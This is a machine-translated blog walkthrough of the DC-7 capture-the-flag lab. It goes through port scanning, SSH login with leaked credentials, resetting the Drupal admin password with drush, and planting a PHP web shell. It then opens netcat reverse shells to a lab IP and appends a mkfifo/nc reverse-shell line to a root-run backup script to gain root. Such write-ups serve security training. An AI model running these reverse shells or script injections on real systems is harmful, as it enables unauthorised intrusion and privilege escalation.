当前位置:网站首页>Dc-7 target
Dc-7 target
2022-07-07 06:06:00 【m0_ sixty-two million ninety-four thousand eight hundred and fo】
ifconfig
Find the host IP
Sweep a wave Intranet , Detect the surviving host
nmap 192.168.61.0/24
Use nmap Tool pair DC-5 The target machine scans the open port
nmap -A -T4 192.168.61.136 -p- -oN nmap136.A

nmap -A -T4 192.168.61.136 -p- -oN nmap136.A
Yes 22 and 80 port

Here's a hint DC7USER
use Baidu Search
You can download a file


This also shows that it is important
Download to kali Local
git clone https://github.com/Dc7User/staffdb
cd staffdb
ls
cat config.php

Use SSH Link target , Sign in dc7user It is found that you can successfully connect

ls
find out backups mbox
backups Next :website.sql.gpg website.tar.gz.gpg
Found two files , But it's all about gpg At the end of the ,gpg The command is used to encrypt files , The encrypted files are all garbled
mbox It's a document
The source code of backup execution is found in /opt/scripts Under the table of contents

Get into /opt/scripts Under the table of contents
cd /opt/scripts
see file
cat backups.sh

Found two commands gpg drush
gpg The command is used to encrypt ,drush The order is drupal Commands used in the framework to do some configuration , It can change the user name and password
Enter into /var/www/html Under the table of contents , Because the website will have a admin user , So use drush Command to change admin The user's password is 123456, It is found that it can be modified successfully
cd /var/www/html/
drush user-password admin --password="123456"
![]()
admin Your password has been changed to 123456
use dirb Command to scan out the page
dirb http://192.168.61.136

stay Content—>Add content-->Basic page Next , Ready to add PHP Code bounce shell, But found that it does not support PHP
After Baidu knows ,php To be imported as a separate module



PHP Module download address :
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz


Check , Then click the bottom install

And then it's all right 
Go back to the page at that time , You can use PHP 了 


You can connect successfully with ant sword

And then use kali monitor
nc -lvvp 4444
nc -e /bin/bash 192.168.61.129 4444

python -c 'import pty;pty.spawn("/bin/bash")'
Successful connection

find / -name backups.sh 2>/dev/null
then
cd /opt/scripts
ls -l
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.61.129 7777 >/tmp/f" >> backups.sh
nc -lvvp 7777

Got it root jurisdiction
cd /root
ls
cat theflag.txt

边栏推荐
- 苹果cms V10模板/MXone Pro自适应影视电影网站模板
- What EDA companies are there in China?
- 云加速,帮助您有效解决攻击问题!
- Storage of dental stem cells (to be continued)
- Solve pod install error: FFI is an incompatible architecture
- [InstallShield] Introduction
- Web authentication API compatible version information
- Three level menu data implementation, nested three-level menu data
- SQLSTATE[HY000][1130] Host ‘host. docker. internal‘ is not allowed to connect to this MySQL server
- 高级程序员必知必会,一文详解MySQL主从同步原理,推荐收藏
猜你喜欢

EMMC print cqhci: timeout for tag 10 prompt analysis and solution
![SQLSTATE[HY000][1130] Host ‘host. docker. internal‘ is not allowed to connect to this MySQL server](/img/05/1e4bdddce1e07f7edd2aeaa59139ab.jpg)
SQLSTATE[HY000][1130] Host ‘host. docker. internal‘ is not allowed to connect to this MySQL server

VScode进行代码补全
![[InstallShield] Introduction](/img/df/4522d06510ff918d00659b8358368f.jpg)
[InstallShield] Introduction

PTA 天梯赛练习题集 L2-004 搜索树判断

Go语学习笔记 - gorm使用 - gorm处理错误 | Web框架Gin(十)

Financial risk control practice - decision tree rule mining template
![[SQL practice] a SQL statistics of epidemic distribution across the country](/img/ba/639a23d87094d24572a69575b565b9.png)
[SQL practice] a SQL statistics of epidemic distribution across the country

Get the way to optimize the one-stop worktable of customer service

一名普通学生的大一总结【不知我等是愚是狂,唯知一路向前奔驰】
随机推荐
Check Point:企业部署零信任网络(ZTNA)的核心要素
Explication contextuelle du langage Go
Bbox regression loss function in target detection -l2, smooth L1, IOU, giou, Diou, ciou, focal eiou, alpha IOU, Siou
What EDA companies are there in China?
目标检测中的损失函数与正负样本分配:RetinaNet与Focal loss
Go language learning notes - Gorm use - Gorm processing errors | web framework gin (10)
数据中心为什么需要一套基础设施可视化管理系统
云加速,帮助您有效解决攻击问题!
ML's shap: Based on the adult census income binary prediction data set (whether the predicted annual income exceeds 50K), use the shap decision diagram combined with the lightgbm model to realize the
[SQL practice] a SQL statistics of epidemic distribution across the country
VScode进行代码补全
Flask 1.1.4 werkzeug1.0.1 analyse du code source: processus de démarrage
SAP Spartacus checkout 流程的扩展(extend)实现介绍
Cf:c. column swapping [sort + simulate]
Type de texte de commutation d'entrée et de mot de passe de l'applet natif
苹果cms V10模板/MXone Pro自适应影视电影网站模板
MFC BMP sets the resolution of bitmap, DPI is 600 points, and gdiplus generates labels
【FPGA教程案例14】基于vivado核的FIR滤波器设计与实现
[daily training -- Tencent selected 50] 235 Nearest common ancestor of binary search tree
Senior programmers must know and master. This article explains in detail the principle of MySQL master-slave synchronization, and recommends collecting